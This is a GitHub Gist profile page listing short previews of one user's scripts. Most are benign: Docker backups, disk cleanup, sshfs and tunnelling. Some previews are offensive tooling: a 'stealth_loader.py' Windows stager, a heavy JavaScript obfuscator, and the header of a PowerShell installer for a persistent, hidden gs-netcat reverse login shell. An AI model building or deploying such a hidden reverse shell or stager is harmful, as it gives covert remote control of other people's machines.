Skip to content

Instantly share code, notes, and snippets.

@santaklouse
santaklouse / Makefile
Created September 9, 2026 10:05
Makefile for automated PostgreSQL Docker backups (pg_dump)
CONTAINER_NAME=defguard-db-1
DB_USER=defguard
BACKUP_DIR=.
BACKUP_DAYS=7
.PHONY: backup-db restore-db check-container clean-old-backups
# Вспомогательное правило: проверка, запущен ли контейнер
check-container:
@docker ps --filter "name=$(CONTAINER_NAME)" --filter "status=running" --format "{{.Names}}" | grep -q "^$(CONTAINER_NAME)$$" || \
@santaklouse
santaklouse / README.md
Last active August 13, 2026 10:14
Ubuntu VPS Disk Space Monitor & Auto-Cleanup Script

Ubuntu VPS Disk Space Monitor & Auto-Cleanup Script

A lightweight Bash script designed for Ubuntu VPS to monitor disk space hourly. If disk usage exceeds the defined threshold, it automatically triggers Docker cache eviction, removes stopped containers, rotates system logs, and sends instant status alerts directly to Telegram.

Features

  • Proactive Monitoring: Runs quietly every hour via cron.
  • Telegram Alerts: Sends instant notifications using your custom tg_say utility.
  • Docker Optimization: Seamlessly calls your user-defined ~/.bashrc aliases (docker_clean_cache, docker_clean_exited) under the ubuntu user scope.
  • Log Rotation: Safely vacuums journald logs down to 50MB and removes archived log files (*.gz, *.1) from /var/log.
@santaklouse
santaklouse / sshfs.mount.sh
Created August 5, 2026 16:54
mount/umount scripts for mac sshfs
#!/usr/bin/env bash
sshfs vps2:/home/ubuntu/tmp /Users/alexnevpryaga/sshfs-mount/
@santaklouse
santaklouse / update_macos.sh
Created August 5, 2026 16:43
Update macos to specific version
#!/usr/bin/env bash
softwareupdate --fetch-full-installer --agree-to-license --install --all
@santaklouse
santaklouse / publish_port.sh
Created July 31, 2026 21:08
Share port to internet using free service http://localhost.run/
#!/bin/bash
publish_to_internet_https() {
PORT="${1:-8080}"
echo "Open port ${PORT} to internet https..."
sleep 2
echo -n "Your public domains: "
ssh -R 80:localhost:${PORT} localhost.run 2>&1 | grep 'tunneled with tls termination'
}
@santaklouse
santaklouse / stealth_loader.py
Last active June 21, 2026 04:51
Win64 stagers testing
import ctypes
import sys
import struct
import zlib
import tempfile
import os
if sys.platform != "win32":
print("[-] This script works only on Windows")
sys.exit(1)
@santaklouse
santaklouse / README.md
Created June 7, 2026 00:04
Bash script to minify and heavily obfuscate JavaScript files using Terser and javascript-obfuscator.
@santaklouse
santaklouse / add_playerjs_chromecast.cjs
Created June 3, 2026 14:30
It takes PlayerJS without Chromecast (pro module), removes the external Dean Edwards Packer layer if necessary inserts the ChromeCast module and adds a button with linkurl:"chromecast" to the skin/template.
#!/usr/bin/env node
'use strict';
/**
* add_playerjs_chromecast.cjs
*
* Uses PlayerJS without Chromecast, removes the external Dean Edwards Packer layer if necessary,
* inserts the ChromeCast module and adds a button with linkurl:"chromecast" to the skin/template.
*
* Usage:
const checkLuhn = (value) =>
String(value)
.replace(/\D/g, '')
.split('')
.reverse()
.map(Number)
.reduce((sum, digit, i) => {
if (i % 2 === 1) {
const doubled = digit * 2;
return sum + (doubled > 9 ? doubled - 9 : doubled);
# Install and start a permanent gs-netcat reverse login shell
#
# See https://github.com/hackerschoice/gsocket for examples.
#
# $Env:S="MySecret" # for deploying with a spesific secret.
# $Env:DEBUG=1 # for verbose output.
# $Env:HIDE=1 # to hide the console window.
$ERR_LOGS=$null # New-TemporaryFile
$GITHUB_REPO="https://api.github.com/repos/hackerschoice"